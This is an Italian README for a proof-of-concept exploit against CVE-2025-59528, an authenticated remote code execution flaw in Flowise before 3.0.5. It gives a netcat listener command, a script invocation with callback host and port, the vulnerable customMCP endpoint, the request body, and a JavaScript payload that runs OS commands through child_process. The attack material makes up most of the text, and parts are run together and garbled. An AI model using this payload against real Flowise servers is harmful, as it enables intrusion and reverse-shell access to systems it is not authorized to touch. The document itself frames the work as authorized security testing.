
Proof-of-concept minimo di RCE autenticato per CVE-2025-59528 che colpisce Flowise < 3.0.5 tramite iniezione di customMCP mcpServerConfig, con passaggi riproducibili per test di sicurezza autorizzati.
PoC minimo focalizzato sulla validazione tecnica della vulnerabilità in un ambiente autorizzato.
nc -lvn 4444).Avvia prima il listener:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
Sostituisci i valori con le impostazioni del tuo ambiente autorizzato.
3.0.5Esecuzione di Codice Remoto (RCE)POST /api/v1/node-load-method/customMCPIl problema deriva da come viene elaborato inputs.mcpServerConfig: questo valore viene interpretato in modo da consentire l'esecuzione di JavaScript lato server. In pratica, un attaccante autenticato può iniettare un'espressione che chiama child_process ed esegue un comando del sistema operativo.
Il flusso di sfruttamento è:
customMCP.mcpServerConfig.process.mainModule.require('child_process').exec/execSync).Se accettata, il server esegue il comando nel proprio contesto di sistema.
poc.py)Lo script accetta quattro argomenti:
-d/--domain: dominio di destinazione-lh/--host: IP di callback-lp/--port: porta di callback-A/--api: token API BearerPoi:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
Rispetto al PoC EDB (che esegue il login email/password, utilizza intestazioni simili a browser e un comando --cmd libero), questo script è migliore per una pura validazione del PoC:
mcpServerConfig ed esecuzione lato server.In breve: lo script EDB è una demo offensiva più generica, mentre questo PoC è più mirato per la riproducibilità tecnica.
https o gestione dei certificati.--cmd).Testa solo su sistemi di tua proprietà o dove hai autorizzazione esplicita.